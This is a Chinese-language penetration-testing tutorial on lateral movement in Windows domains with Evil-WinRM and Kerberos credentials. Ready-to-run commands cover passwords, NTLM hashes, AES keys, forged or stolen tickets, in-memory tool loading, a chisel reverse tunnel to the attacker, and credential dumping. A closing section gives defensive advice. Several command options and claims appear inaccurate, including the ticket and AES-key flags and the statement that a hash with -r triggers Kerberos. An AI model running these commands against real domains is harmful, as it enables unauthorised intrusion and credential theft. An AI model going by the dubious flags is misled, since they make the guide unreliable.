Evil-WinRM与Kerberos认证:域内横向移动的实战指南

📅 2026/6/26 3:50:50
Evil-WinRM与Kerberos认证:域内横向移动的实战指南
1. 项目概述为什么需要关注WinRM与Kerberos在红队评估或内网渗透测试中拿到一个Windows系统的初始立足点后横向移动是扩大战果的关键。传统的SMB、WMI、RDP等方式大家已经耳熟能详但WinRMWindows Remote Management这个内置于现代Windows系统的强大管理协议常常因为配置复杂或认知不足而被忽视。然而一旦它被启用就是一个极其高效、隐蔽且功能丰富的远程管理通道。Evil-WinRM正是为此而生的利器。它不是一个简单的客户端而是一个专为渗透测试设计的WinRM shell框架。与系统自带的winrs或PowerShell远程处理相比Evil-WinRM集成了上传/下载、内存执行、加载PowerShell模块等攻击性功能堪称“瑞士军刀”。但它的威力远不止于此真正让它从“好用”变为“必用”的是其对Kerberos认证的完整支持。Kerberos是Windows域环境的核心认证协议。在域内绝大多数认证流量都是Kerberos票据。如果你只会用NTLM哈希进行WinRM连接那么你的攻击面将大大受限。许多高价值目标服务器如域控制器、文件服务器、数据库服务器的WinRM服务可能只允许Kerberos认证或者NTLM认证被组策略禁用。此时掌握Evil-WinRM的Kerberos认证能力就等于拿到了一把打开域内更多大门的万能钥匙。本指南将深入实战带你从零开始理解如何利用Evil-WinRM结合从渗透中获取的各种Kerberos凭据如密码、哈希、票据实现对域内目标的精准打击和深度控制。这不仅仅是工具的使用教学更是对域内横向移动中认证机制的一次深度剖析。2. 核心原理拆解WinRM、Evil-WinRM与Kerberos的三位一体要玩转这套组合拳必须理解其底层是如何协作的。很多工具教程只讲命令不讲原理导致遇到问题就抓瞎。我们先把这三个核心组件拆开来看。2.1 WinRM不只是“远程PowerShell”WinRM基于WS-Management协议默认使用HTTP 5985或HTTPS 5986端口。它本质上是一个Web服务允许远程执行命令和管理。很多人把它等同于PowerShell Remoting这并不完全准确。PowerShell Remoting是构建在WinRM之上的一个功能层。WinRM本身可以传输多种协议数据单元支持多种认证方式。在安全配置上WinRM可以通过组策略精细控制允许的认证提供程序Negotiate首选Kerberos失败则NTLM、Kerberos、Certificate、Basic等。服务端配置winrm get winrm/config/service可以查看详细配置其中AllowUnencrypted、Auth下的Basic、CredSSP等设置直接影响攻击面。客户端配置同样重要特别是当我们需要从非域成员Linux攻击机发起连接时。理解这些配置能帮助我们在遇到连接失败时快速判断是认证方式不支持、加密要求不匹配还是防火墙规则问题。2.2 Evil-WinRM渗透测试者的“特权Shell”为什么不用系统自带的因为Evil-WinRM做了大量“优化”免交互式登录直接获得一个功能完整的交互式Shell无需先通过其他方式建立会话。内置文件传输upload/download命令直接在内存中处理文件避免落地触发AV。内存加载支持加载PowerShell脚本.ps1或.NET程序集.dll到目标进程内存中执行规避基于磁盘的检测。会话持久化与枚举可以查看和管理远程主机上的用户会话、进程。对Kerberos的深度集成这是关键。它不仅能接受密码、NTLM哈希还能直接使用从工具如mimikatz、Rubeus导出的Kirbi格式票据文件.kirbi或Base64编码的票据甚至支持通过ccache文件来自Impacket套件进行认证。它充当了一个智能的“翻译官”和“执行器”将我们手中的各种凭据转换成WinRM协议能理解的认证流量并为我们提供一个强大的后渗透操作界面。2.3 Kerberos认证在攻击中的核心价值在域内Kerberos比NTLM更受青睐因为它更安全、更高效。对攻击者而言这带来了挑战也带来了机遇。挑战你不能总指望目标允许落后的NTLM。机遇一旦你掌握了Kerberos攻击会更隐蔽、更强大。Kerberos攻击的几个关键阶段和对应凭据初始访问你可能通过钓鱼、漏洞利用拿到了一个域用户的明文密码或NTLM哈希。这是起点。票据请求用这个密码/哈希可以向域控制器KDC请求一张票据授予票据TGT。工具如Rubeus的asktgt可以完成这一步。票据传递有了TGT就可以用它去申请访问特定服务如cifs/file-server,http/winrm-server的服务票据ST。这就是Overpass-the-Hash传递哈希的Kerberos版本比NTLM的PtH更可靠。票据注入与使用将申请到的ST票据注入到当前会话的内存中然后像本地用户一样访问服务。或者像Evil-WinRM这样支持直接使用票据文件的工具可以绕过注入步骤直接使用。白银票据与黄金票据在获得更高权限如服务器机器账户哈希、krbtgt账户哈希后可以伪造ST白银票据或TGT黄金票据实现不受限制的访问。Evil-WinRM同样支持使用这些伪造的票据进行认证。核心逻辑Evil-WinRM的Kerberos模式本质上是让我们能够利用上述攻击链中获取到的“中间产物”TGT、ST、甚至伪造票据直接完成对WinRM服务的认证跳过了在目标系统上执行代码、注入票据等可能被检测的步骤。3. 环境准备与工具配置工欲善其事必先利其器。实战成功的前提是一个配置正确的攻击环境。这里会详细说明在Kali Linux或Parrot OS这类典型攻击平台上的准备步骤并解释每一个操作背后的原因。3.1 Evil-WinRM的安装与更新最推荐的方式是通过RubyGems安装这能确保获得稳定版本并易于更新。gem install evil-winrm安装后可以通过evil-winrm -v检查版本。注意如果系统Ruby版本过旧可能导致安装失败。建议使用系统包管理器先安装较新版本的Ruby如ruby3.x或者使用RVM、rbenv等版本管理工具。这是第一个容易踩的坑。为什么不用Git直接克隆Gem安装会自动处理依赖如winrm、winrm-fs等Ruby库并且将可执行文件安装到系统路径使用起来更方便。3.2 Kerberos客户端配置krb5.conf的奥秘要让非域成员的Linux机器理解Kerberos协议并与域控制器通信必须正确配置/etc/krb5.conf文件。这个文件告诉系统KDC在哪里、域名是什么。一个针对名为LAB.LOCAL的域的基础配置示例[libdefaults] default_realm LAB.LOCAL dns_lookup_realm false dns_lookup_kdc true ticket_lifetime 24h renew_lifetime 7d forwardable true rdns false default_ccache_name /tmp/krb5cc_%{uid} [realms] LAB.LOCAL { kdc dc01.lab.local admin_server dc01.lab.local default_domain lab.local } [domain_realm] .lab.local LAB.LOCAL lab.local LAB.LOCAL关键参数解析default_realm默认领域必须大写且与域名一致。dns_lookup_kdc true允许通过DNS SRV记录查找KDC这在域控制器有多个或DNS配置正确时非常方便。如果DNS解析失败就需要像示例中在[realms]段显式指定kdc和admin_server的地址。default_ccache_name设置票据缓存文件的位置。这里设置为/tmp下用户唯一的文件避免权限问题。Impacket工具链常使用这个位置。[realms]明确指定领域的KDC服务器。kdc是密钥分发中心admin_server是用于管理如修改密码的服务器通常指向同一台域控制器。配置验证# 尝试获取一张票据会提示输入密码可CtrlC取消主要测试配置是否被读取 kinit administratorLAB.LOCAL # 查看当前缓存的票据 klist如果kinit命令能正确解析域名并提示输入密码说明基础配置没问题。如果报错“Cannot find KDC for realm”多半是DNS解析或[realms]配置有误。3.3 辅助工具链准备单一工具无法应对所有场景。一个完整的Kerberos攻击工具箱还应包括ImpacketPython套件用于生成ccache票据文件。python3 -m pip install impacket。RubeusC#工具Windows下进行Kerberos操作的王者可以请求、注入、导出票据。需在Windows攻击机或通过Crossover在Linux下运行。KerbruteGo语言编写的快速用户枚举和密码喷洒工具效率极高。go install github.com/ropnop/kerbrutelatest。BloodHound / SharpHound用于分析域内关系找出哪些用户对哪些机器有WinRM访问权限如“Remote Management Users”组成员。在实战中这些工具会与Evil-WinRM形成工作流。例如用Kerbrute喷洒出密码用Rubeus请求票据再用Evil-WinRM连接。4. 实战场景与操作详解理论说再多不如一次实战。下面我们模拟一个常见的渗透场景并分步演示如何使用不同形式的Kerberos凭据连接Evil-WinRM。场景假设域CORP.LOCAL域控制器DC01.CORP.LOCAL (192.168.1.10)目标服务器SRV01.CORP.LOCAL (192.168.1.50)已启用WinRM。已获取的凭据域用户alice的明文密码Pssw0rd123!。攻击机Kali Linux (192.168.1.100)已加入域或已正确配置/etc/krb5.conf指向域控制器。4.1 场景一使用明文密码进行Kerberos认证这是最直接的方式。Evil-WinRM会帮你完成从密码到票据获取再到连接的全过程。evil-winrm -i 192.168.1.50 -u alice -p Pssw0rd123! -r CORP.LOCAL -S参数拆解-i目标IP地址。-u用户名。在域环境中可以是username或DOMAIN\username格式使用-r参数时通常只需用户名。-p明文密码。-r指定Realm领域即域名。这是触发Kerberos认证的关键参数。如果不指定-r工具默认会尝试NTLM认证。-S使用SSLHTTPS 5986端口。如果目标WinRM配置了SSL证书则必须使用此参数。否则使用-s非标准端口或省略使用HTTP 5985端口。底层发生了什么Evil-WinRM读取-r参数并检查本地的krb5.conf配置。它使用提供的用户名和密码向指定领域的KDC域控制器发起AS-REQ请求申请TGT。收到TGT后再向KDC发起TGS-REQ申请访问host/SRV01.CORP.LOCALWinRM服务的服务票据。最后使用这张服务票据与SRV01的WinRM服务建立经过Kerberos认证的会话。实操心得如果连接失败首先用crackmapexec winrm验证目标是否开放WinRM以及认证方式crackmapexec winrm 192.168.1.50 -u alice -p Pssw0rd123!。如果CrackMapExec能成功但Evil-WinRM失败问题很可能出在本地Kerberos配置或DNS解析上。4.2 场景二使用NTLM哈希进行Kerberos认证Overpass-the-Hash很多时候我们拿到的是哈希而不是明文密码。在Kerberos协议中用户的哈希确切地说是AES密钥或RC4-HMAC哈希可以直接用来请求TGT这比NTLM的PtH更可靠。假设我们拿到了alice的NTLM哈希e2b475c11da2a0748290d87aa966c327。evil-winrm -i 192.168.1.50 -u alice -H e2b475c11da2a0748290d87aa966c327 -r CORP.LOCAL参数变化-H指定用户的NTLM哈希RC4-HMAC。注意这里不是Kerberos密钥但工具会用这个哈希去模拟Kerberos认证流程。底层逻辑当指定-H和-r参数时Evil-WinRM底层会利用这个哈希通过Kerberos协议进行认证而不是直接进行NTLM网络登录。这绕过了可能存在的NTLM禁用策略。进阶使用AES密钥 如果环境中禁用了RC4你可能需要AES256或AES128密钥。这些密钥可以从mimikatz或secretsdump.py的输出中获得。evil-winrm -i 192.168.1.50 -u alice --aes-key AES256_KEY -r CORP.LOCAL--aes-key参数允许你直接使用AES密钥进行Kerberos认证这是更现代、更安全对攻击者而言也更隐蔽的方式。4.3 场景三使用Kirbi票据文件.kirbi这是更高级的用法。你可能已经从内存中导出了其他用户的票据例如通过mimikatz的sekurlsa::tickets /export或Rubeus的dump命令或者通过其他漏洞伪造了票据如黄金票据。假设我们有一个导出的服务票据文件alice_to_host_srv01.kirbi。# 首先需要将.kirbi票据注入到当前会话的Kerberos缓存中。 # 可以使用 impacket 的 ticketConverter.py 将其转为 ccache 格式或者用 Rubeus (在Windows上) 注入。 # 在Linux上一个方法是使用 impacket 的 ticketer 工具链但更直接的方式是 # 方法1使用KRB5CCNAME环境变量如果工具支持 export KRB5CCNAME/path/to/alice_to_host_srv01.kirbi # 注意Evil-WinRM可能无法直接使用.kirbi文件作为ccache。通常需要转换。 # 更可靠的方法使用Rubeus在Windows攻击机上请求票据并导出为base64然后在Linux上使用。 # 步骤略复杂涉及跨平台。 # 方法2推荐使用Impacket套件请求票据并生成ccache然后让Evil-WinRM使用。 # 1. 用 getTGT.py 获取TGT并生成ccache python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 192.168.1.10 CORP.LOCAL/alice:Pssw0rd123! # 这会生成一个 ccache 文件如 alice.ccache。 # 2. 设置环境变量指向这个ccache文件 export KRB5CCNAME/path/to/alice.ccache # 3. 使用Evil-WinRM连接此时不需要-u/-p参数它会自动使用缓存中的票据。 evil-winrm -i 192.168.1.50 -r CORP.LOCAL关键点当设置了KRB5CCNAME环境变量后所有遵循Kerberos库调用的程序包括Evil-WinRM都会自动从这个缓存文件中读取票据而无需再次输入密码或哈希。这实现了真正的“票据传递”。4.4 场景四使用Base64编码的票据Rubeus工具经常以Base64格式输出票据这非常便于在命令行中传递或通过一些受限的通道传输。假设我们从Rubeus获得了这样一张Base64编码的服务票据doIFQjCCBT6gAwIBBaEDAgEWooI...在Evil-WinRM中可以直接使用-k参数evil-winrm -i 192.168.1.50 -u alice -k -t BASE64_TICKET -r CORP.LOCAL或者如果票据已经保存在文件ticket.base64中evil-winrm -i 192.168.1.50 -u alice -k -t $(cat ticket.base64) -r CORP.LOCAL参数解析-k明确告诉Evil-WinRM使用Kerberos认证。-t指定Base64编码的Kerberos票据。这种方式非常灵活特别适合在已经获得一张特定服务票据ST但不想或不能获取完整TGT的情况下进行快速连接。5. 高级技巧与深度利用成功连接只是第一步。Evil-WinRM在会话建立后的功能才是其价值所在。5.1 内存加载与无文件攻击在WinRM会话中直接运行可疑的exe文件很容易被检测。Evil-WinRM的Invoke-Binary功能或通过menu加载的Invoke-WebRequest变体可以将PE文件加载到内存中执行。# 在Evil-WinRM会话中 Upload /path/to/SharpHound.exe # 或者如果工具支持内存加载 Load /path/to/Seatbelt.exe一些高级模块甚至支持直接从远程URL加载Assembly到内存完全避免磁盘写入。5.2 权限提升与横向移动辅助在获得的Shell中你可以枚举信息使用whoami /all、net user、net localgroup administrators等命令了解当前权限和用户。执行PowerShell脚本menu命令加载的PS模块包含很多后渗透脚本如Get-ProcessToken、Find-Potato等用于寻找提权路径。作为跳板以此服务器为新的攻击起点使用runas配合获取到的其他凭据或者上传诸如mimikatz、Rubeus等工具进一步转储凭证、请求票据向域内其他机器包括域控制器发起攻击。5.3 绕过限制与隐蔽连接端口转发如果目标WinRM端口5985/5986不直接对外开放但你已经通过其他方式如Web漏洞获得了该服务器的访问权限可以通过SSH隧道或chisel等工具进行端口转发将本地端口映射到目标的WinRM端口。# 在已控服务器上执行 chisel client将本地5985转发到攻击机的5985 # 在攻击机上chisel server -p 8080 --reverse # 在目标网络内已控机器上chisel client 攻击机IP:8080 R:5985:127.0.0.1:5985 # 然后连接攻击机本地的5985端口即可 evil-winrm -i 127.0.0.1 -u alice -p Pssw0rd123! -r CORP.LOCALSSL与证书如果目标强制使用HTTPS5986且证书是自签名的Evil-WinRM默认会验证证书并失败。可以添加-S参数并配合--ignore-certificate-errors参数来忽略证书错误。代理支持Evil-WinRM支持通过--proxy参数设置HTTP/Socks代理适应复杂的网络环境。6. 常见问题排查与防御建议即使按照指南操作实战中依然会遇到各种问题。这里列出一些典型问题及排查思路。6.1 连接失败排查表错误现象可能原因排查步骤Error: Connection refused目标端口未开放或防火墙阻止1. 使用nc -zv 目标IP 5985检查端口。2. 使用crackmapexec winrm扫描确认服务状态。Error: Authentication failed认证方式不支持或凭据错误1. 确认目标WinRM允许Kerberos认证 (winrm get winrm/config/service/auth)。2. 使用-r参数指定领域进行Kerberos认证尝试。3. 尝试使用NTLM认证去掉-r参数看是否可行以判断是否是Kerberos特定问题。4. 用kinit命令测试本地Kerberos配置和凭据有效性。Kerberos ERROR: Cannot find KDC for realm本地Kerberos配置 (krb5.conf) 错误或DNS解析失败1. 检查/etc/krb5.conf中领域名称大小写、KDC地址是否正确。2. 尝试在[realms]段显式指定kdc的IP地址而非主机名。3. 检查/etc/hosts或DNS设置确保能解析域控制器主机名。Error: SSL certificate verify failed目标使用自签名SSL证书添加--ignore-certificate-errors参数。连接成功但立即断开用户权限不足或WinRM会话限制1. 确认用户属于目标机器的“Remote Management Users”组或本地管理员组。2. 检查目标WinRM的会话超时和内存限制配置 (winrm get winrm/config/winrs)。使用票据 (-k) 失败票据类型错误或已过期1. 用klist查看当前缓存票据确认是否有目标服务的有效票据。2. 确保票据是服务票据ST而非TGT且SPN服务主体名称匹配目标主机如host/srv01.corp.local。3. 票据可能已过期重新请求。6.2 从防御者视角看如何防护了解攻击手法才能更好地防御。作为蓝队或系统管理员可以采取以下措施严格限制WinRM用户遵循最小权限原则只将必要的用户添加到“Remote Management Users”组。避免域管理员账户直接用于WinRM。强制使用HTTPS5986配置WinRM使用SSL证书加密通信防止凭据在网络上被嗅探。可以使用域内证书服务颁发受信任的证书。禁用不必要的认证协议在组策略中将WinRM服务的认证方式限制为仅“Kerberos”并禁用“Basic”、“CredSSP”等较弱的认证方式。这能有效防御NTLM中继攻击。启用网络级认证NLA对于RDP这很常见对于WinRM确保其运行在需要网络身份验证的模式下这增加了攻击者直接发起连接的门槛。实施主机防火墙规则仅允许特定的管理网段或跳板机IP地址访问服务器的5985/5986端口。加强Kerberos审计与监控监控域控制器安全日志中的4768Kerberos TGT请求、4769Kerberos ST请求事件。特别关注请求大量服务票据的异常行为可能是Kerberoasting攻击。监控工作站和服务器上的4624登录成功和4625登录失败事件筛选登录类型为“Network”类型3且进程名为winrshost.exe的日志。定期更新与打补丁确保所有系统及时安装安全更新防止利用WinRM相关组件的漏洞进行攻击。使用LAPS管理本地管理员密码确保每台机器的本地管理员密码不同且定期更换增加攻击者横向移动的难度。Evil-WinRM结合Kerberos认证在具备相应权限的域内环境中是一种极其高效且相对隐蔽的横向移动手段。它模糊了“认证”和“执行”的边界使得攻击者可以凭借一张小小的电子票据在庞大的域网络中获得一个功能强大的远程Shell。对于渗透测试者而言熟练掌握这套流程是内网渗透的必修课对于防御者而言理解其原理并实施上述防护策略则是构建纵深防御体系不可或缺的一环。工具本身无善恶关键在于使用它的人。希望这篇指南能帮助你在安全测试或防御建设的道路上走得更深、更远。